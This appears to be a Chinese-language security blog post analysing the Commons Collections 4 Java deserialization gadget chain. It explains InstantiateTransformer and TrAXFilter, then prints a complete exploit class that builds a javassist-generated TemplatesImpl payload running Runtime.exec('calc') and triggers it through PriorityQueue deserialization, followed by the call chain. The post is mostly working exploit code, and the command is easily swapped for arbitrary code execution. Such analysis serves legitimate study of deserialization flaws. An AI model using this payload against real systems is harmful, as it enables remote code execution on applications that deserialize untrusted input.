CommonsCollection4
该链在没到transformer之前和CommonsCollection2完全一样
先来了解一个新的transformer和TrAXFilter类
了解新的Transformer关键还是看构造方法和类中的transform方法
构造方法
1 2 3 4 5 6 7 8
| public InstantiateTransformer(final Class<?>[] paramTypes, final Object[] args) { super(); iParamTypes = paramTypes != null ? paramTypes.clone() : null; iArgs = args != null ? args.clone() : null; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public T transform(final Class<? extends T> input) { try { if (input == null) { throw new FunctorException( "InstantiateTransformer: Input object was not an instanceof Class, it was a null object"); } final Constructor<? extends T> con = input.getConstructor(iParamTypes);
return con.newInstance(iArgs); } catch (final NoSuchMethodException ex) { throw new FunctorException("InstantiateTransformer: The constructor must exist and be public "); } catch (final InstantiationException ex) { throw new FunctorException("InstantiateTransformer: InstantiationException", ex); } catch (final IllegalAccessException ex) { throw new FunctorException("InstantiateTransformer: Constructor must be public", ex); } catch (final InvocationTargetException ex) { throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex); } }
|
0x02 TrAXFilter
需要利用到的类,看构造方法就行了
1 2 3 4 5 6 7 8 9 10
| public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _overrideDefaultParser = _transformer.overrideDefaultParser(); }
|
0x03 反序列化分析
知道了上面2个知识点其实已经明了了
调用InstantiateTransformer的transform方法取到TrAXFilter类的构造方法后实例化,在构造方法中调用newTransformer实现加载字节码
然而InstantiateTransformer.transform是需要接收参数的
有2种方法将参数传入
- 使用ConstantTransformer将TrAXFilter.class存入iConstant,然后用ChainedTransformer循环调用
- 和CC2相同取出queue将TrAXFilter.class存入queue
这里用第二种方法,至于为什么存的是TrAXFilter.class后面就会写到
直接贴exp分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javassist.CtMethod; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.PriorityQueue;
public class CC4 { public static void main(String[] args) throws Exception {
PriorityQueue priorityQueue = payload(); serialize(priorityQueue); unserialize("ser4.bin"); }
public static PriorityQueue payload() throws Exception {
ConstantTransformer constant = new ConstantTransformer(String.class); Class[] paramTypes = new Class[] { String.class }; Object[] args = new Object[] { "foo" }; InstantiateTransformer instantiate = new InstantiateTransformer(paramTypes, args); TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue(2, comparator); priorityQueue.add(1); priorityQueue.add(1);
Class priorityQueueClass = priorityQueue.getClass(); Field queueField = priorityQueueClass.getDeclaredField("queue"); queueField.setAccessible(true); Object[] queue = (Object[])queueField.get(priorityQueue); queue[0] = TrAXFilter.class; queue[1] = 1;
Class comparatorClass = comparator.getClass(); Field transformerField = comparatorClass.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(comparator, instantiate); Class instantiateClass = instantiate.getClass(); Field iParamTypesField = instantiateClass.getDeclaredField("iParamTypes"); iParamTypesField.setAccessible(true); paramTypes = (Class[])iParamTypesField.get(instantiate);
Field iArgsField = instantiateClass.getDeclaredField("iArgs"); iArgsField.setAccessible(true); args = (Object[])iArgsField.get(instantiate);
TemplatesImpl templates = CreateTemplates();
paramTypes[0] = Templates.class; args[0] = templates;
return priorityQueue; }
public static TemplatesImpl CreateTemplates() throws Exception{ TemplatesImpl templates = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("evil"); ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.setInterfaces(new CtClass[]{pool.get("java.io.Serializable")});
ctClass.makeClassInitializer().setBody("{Runtime runtime = Runtime.getRuntime();\n" + "runtime.exec(\"calc\");}"); ctClass.setName("evil" + System.nanoTime()); CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); ctConstructor.setBody("{}"); ctClass.addConstructor(ctConstructor); CtMethod ctMethod1 = new CtMethod(CtClass.voidType, "transform", new CtClass[]{pool.get("com.sun.org.apache.xalan.internal.xsltc.DOM"), pool.get("com.sun.org.apache.xml.internal.dtm.DTMAxisIterator"), pool.get("com.sun.org.apache.xml.internal.serializer.SerializationHandler")},ctClass); ctMethod1.setBody("{}"); ctClass.addMethod(ctMethod1);
CtMethod ctMethod2 = new CtMethod(CtClass.voidType, "transform", new CtClass[]{pool.get("com.sun.org.apache.xalan.internal.xsltc.DOM"), pool.get("com.sun.org.apache.xml.internal.serializer.SerializationHandler[]")},ctClass); ctMethod2.setBody("{}"); ctClass.addMethod(ctMethod2);
byte[] byteClass = ctClass.toBytecode(); String payload = Base64.getEncoder().encodeToString(byteClass);
Field field_bytecodes = templates.getClass().getDeclaredField("_bytecodes"); field_bytecodes.setAccessible(true); field_bytecodes.set(templates, new byte[][]{byteClass});
Field field_name = templates.getClass().getDeclaredField("_name"); field_name.setAccessible(true); field_name.set(templates, "aaa");
Field field_tfactory = templates.getClass().getDeclaredField("_tfactory"); field_tfactory.setAccessible(true); field_tfactory.set(templates, new TransformerFactoryImpl()); return templates; }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser4.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
0x04 调用链
1 2 3 4 5 6 7 8 9 10
| /* ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() InstantiateTransformer.transform() templates.newTransformer() */
|